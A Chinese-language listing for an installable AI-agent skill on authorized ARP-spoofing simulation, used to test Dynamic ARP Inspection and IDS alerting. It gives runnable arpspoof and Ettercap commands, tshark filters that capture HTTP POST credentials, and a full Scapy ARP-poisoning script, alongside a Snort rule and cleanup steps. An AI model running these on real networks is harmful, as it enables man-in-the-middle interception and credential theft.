关于 performing-arp-spoofing-attack-simulation
面向授权安全测试与培训的 ARP 欺骗模拟技能,提供从网络发现到流量验证和清理的流程,用于评估防护控制与告警能力。
主要功能
- 01枚举本地网段主机
- 02配置 IP 转发并模拟 ARP 欺骗
- 03捕获和分析拦截流量
- 04使用 Scapy 构造 ARP 数据包
- 05验证检测效果并清理环境
适用场景
- 01测试交换机的动态 ARP 检查
- 02验证 IDS、IPS 或 SIEM 对 ARP 投毒的告警
- 03培训 SOC 分析人员识别 ARP 欺骗迹象
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-arp-spoofing-attack-simulation安装后在 Claude Code 中输入/performing-arp-spoofing-attack-simulation确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行 ARP 欺骗攻击模拟
何时使用
- 测试网络交换机和基础设施是否正确实施动态 ARP 检测(DAI)
- 在授权的安全评估中,向利益相关者演示中间人攻击风险
- 验证网络监控工具(IDS/IPS、SIEM)能否检测 ARP 缓存投毒尝试
- 评估端口安全、802.1X 和 VLAN 分段控制的有效性
- 培训 SOC 分析师识别网络流量中的 ARP 欺骗指标
请勿使用于未经明确书面授权且没有回滚计划的生产网络、承载关键或生命安全流量的网络,或作为拒绝服务攻击途径。
先决条件
- 书面授权,明确 ARP 欺骗模拟范围内的网段
- 安装 arpspoof、Ettercap 和 Scapy 的 Kali Linux 或类似渗透测试发行版
- 对目标网段的直接二层访问(与目标主机处于同一 VLAN)
- 了解 IP 转发,并能够在攻击机上启用/禁用数据包转发
- 用于捕获流量以验证拦截的 Wireshark 或 tcpdump
- 隔离的实验环境或经批准的生产测试窗口
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或没有书面许可测试的系统使用本技能是违法的,并可能违反计算机欺诈相关法律。
工作流
步骤 1:枚举目标网段
# Discover hosts on the local subnet
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt
# Identify the default gateway
ip route show default
# Output: default via 192.168.1.1 dev eth0
# Identify target hosts and their MAC addresses
arp-scan -l -I eth0
# Verify the current ARP table
arp -a
# Note the gateway IP (192.168.1.1) and target host IP (192.168.1.50)
# Record their legitimate MAC addresses for verification and cleanup
步骤 2:启用 IP 转发
# Enable IPv4 forwarding to relay packets between victim and gateway
sudo sysctl -w net.ipv4.ip_forward=1
# Verify forwarding is enabled
cat /proc/sys/net/ipv4/ip_forward
# Should output: 1
# Optionally prevent ICMP redirects that could alert the victim
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
步骤 3:使用 arpspoof 执行 ARP 欺骗
# Spoof the gateway to the target (tell target we are the gateway)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1
# In a separate terminal, spoof the target to the gateway (bidirectional)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50
# Alternative: Use Ettercap for unified bidirectional spoofing
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
步骤 4:捕获并分析被拦截的流量
# Capture all traffic flowing through the attacker machine
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50
# Use tshark to capture HTTP credentials in real-time
sudo tshark -i eth0 -Y "http.request.method == POST" \
-T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value
# Capture DNS queries from the victim
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
-T fields -e frame.time -e dns.qry.name
# Use Ettercap with password collection filters
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
-w ettercap_capture.pcap
步骤 5:使用 Scapy 演示影响(自定义 ARP 数据包)
#!/usr/bin/env python3
"""ARP spoofing demonstration using Scapy for authorized security testing."""
from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys
conf.verb = 0
def get_mac(ip, iface="eth0"):
"""Resolve IP to MAC address via ARP request."""
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
timeout=2, iface=iface)
if ans:
return ans[0][1].hwsrc
return None
def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
"""Send spoofed ARP reply to target."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)
def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
"""Restore legitimate ARP entries."""
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)
if __name__ == "__main__":
target_ip = "192.168.1.50"
gateway_ip = "192.168.1.1"
iface = "eth0"
target_mac = get_mac(target_ip, iface)
gateway_mac = get_mac(gateway_ip, iface)
if not target_mac or not gateway_mac:
print("[!] Could not resolve MAC addresses. Exiting.")
sys.exit(1)
print(f"[*] Target: {target_ip} ({target_mac})")
print(f"[*] Gateway: {gateway_ip} ({gateway_mac})")
print("[*] Starting ARP spoofing... Press Ctrl+C to stop.")
try:
packets_sent = 0
while True:
spoof(target_ip, gateway_ip, target_mac, iface)
spoof(gateway_ip, target_ip, gateway_mac, iface)
packets_sent += 2
print(f"\r[*] Packets sent: {packets_sent}", end="")
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Restoring ARP tables...")
restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
print("[*] ARP tables restored. Exiting.")
步骤 6:验证检测并清理
# On the target machine, check for ARP cache poisoning indicators
arp -a | grep 192.168.1.1
# If spoofed, the gateway MAC will match the attacker's MAC
# Check IDS/SIEM for ARP spoofing alerts
# Snort rule that should trigger:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
# threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)
# Stop the attack and restore ARP tables
# Ctrl+C on arpspoof/ettercap sessions
# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Manually restore ARP entries on affected hosts (if needed)
# On target: arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# On gateway: arp -d 192.168.1.50 && ping -c 1 192.168.1.50
# Verify legitimate MAC addresses are restored
arp -a
关键概念
| 术语 | 定义 |
|---|---|
| ARP 缓存投毒 | 发送伪造 ARP 应答,将攻击者的 MAC 地址与另一台主机的 IP 地址关联到目标 ARP 缓存中的技术 |
| 免费 ARP | 在没有对应请求的情况下发送的 ARP 应答,ARP 欺骗工具用它向目标 ARP 缓存写入虚假条目 |
| 动态 ARP 检测(DAI) | 交换机级安全功能,根据 DHCP 侦听绑定数据库验证 ARP 数据包,并丢弃无效 ARP 流量 |
| IP 转发 | 内核级设置,允许主机在网络接口之间转发数据包,透明中间人拦截所需 |
| DHCP 侦听 | 交换机安全功能,构建 IP 到 MAC 到端口的可信绑定表,作为 DAI 验证的基础 |
工具与系统
- arpspoof(dsniff 套件):简单的命令行工具,持续发送伪造 ARP 应答,以重定向两个目标之间的流量
- Ettercap:用于中间人攻击的综合套件,支持 ARP 欺骗、DNS 欺骗、内容过滤和凭据捕获
- Scapy:Python 数据包操纵库,用于构造可完全控制所有报头字段的自定义 ARP 数据包
- arp-scan:网络扫描工具,发送 ARP 请求以发现本地网段上的所有主机
- Wireshark:数据包分析器,用于验证 ARP 欺骗是否成功,并捕获被拦截的流量以供分析
常见场景
场景:测试企业交换机上动态 ARP 检测的有效性
背景:一个网络团队在所有接入层交换机上部署了 Cisco DAI,需要验证 ARP 欺骗尝试是否被正确检测并阻止。该测试已获授权,在专用 VLAN(VLAN 100)上进行,三台测试主机和一台攻击机连接到同一台交换机。
方法:
- 记录所有主机的基线 ARP 表以及 DHCP 侦听数据库中的合法 MAC-IP 绑定
- 从攻击机运行 arpspoof,目标为默认网关和一台测试工作站
- 通过检查 DAI 统计信息验证交换机丢弃了伪造的 ARP 数据包:
show ip arp inspection statistics vlan 100 - 确认测试工作站的 ARP 缓存仍显示合法的网关 MAC 地址
- 在测试 VLAN 上临时禁用 DAI 并重复攻击,以确认在没有该控制措施时攻击成功
- 重新启用 DAI 并记录结果表明该控制措施有效
- 验证针对被阻止和未被阻止的攻击尝试均生成了 IDS 告警
陷阱:
- 在没有 DAI 的 VLAN 上运行 ARP 欺骗,意外干扰合法流量
- 忘记启用 IP 转发,导致拒绝服务而非透明拦截
- 测试后未恢复 ARP 表,使主机残留过期缓存条目
- 在 trunk 端口而非 access 端口上测试,可能影响多个 VLAN
输出格式
## ARP Spoofing Simulation Report
**Test ID**: NET-ARP-001
**Date**: 2024-03-15 14:00-15:00 UTC
**Target VLAN**: VLAN 100 (192.168.1.0/24)
**Attacker**: 192.168.1.99 (AA:BB:CC:DD:EE:FF)
**Target**: 192.168.1.50 (00:11:22:33:44:55)
**Gateway**: 192.168.1.1 (00:AA:BB:CC:DD:01)
### Test Results
| Test | DAI Status | ARP Spoof Result | Traffic Intercepted |
|------|------------|-------------------|---------------------|
| Test 1 | Enabled | Blocked (switch dropped 847 packets) | No |
| Test 2 | Disabled | Successful (target ARP cache poisoned) | Yes - 23 HTTP sessions |
| Test 3 | Re-enabled | Blocked | No |
### Detection Coverage
- DAI: PASS - Dropped all spoofed ARP replies when enabled
- IDS (Snort): PASS - Generated alert SID:1000010 within 15 seconds
- SIEM: PASS - Alert correlated and escalated within 2 minutes
### Recommendations
1. Maintain DAI enabled on all access VLANs (currently disabled on VLANs 200, 210)
2. Enable DHCP snooping rate limiting to prevent DHCP starvation attacks
3. Deploy 802.1X port authentication to complement ARP inspection
评论
支持 Markdown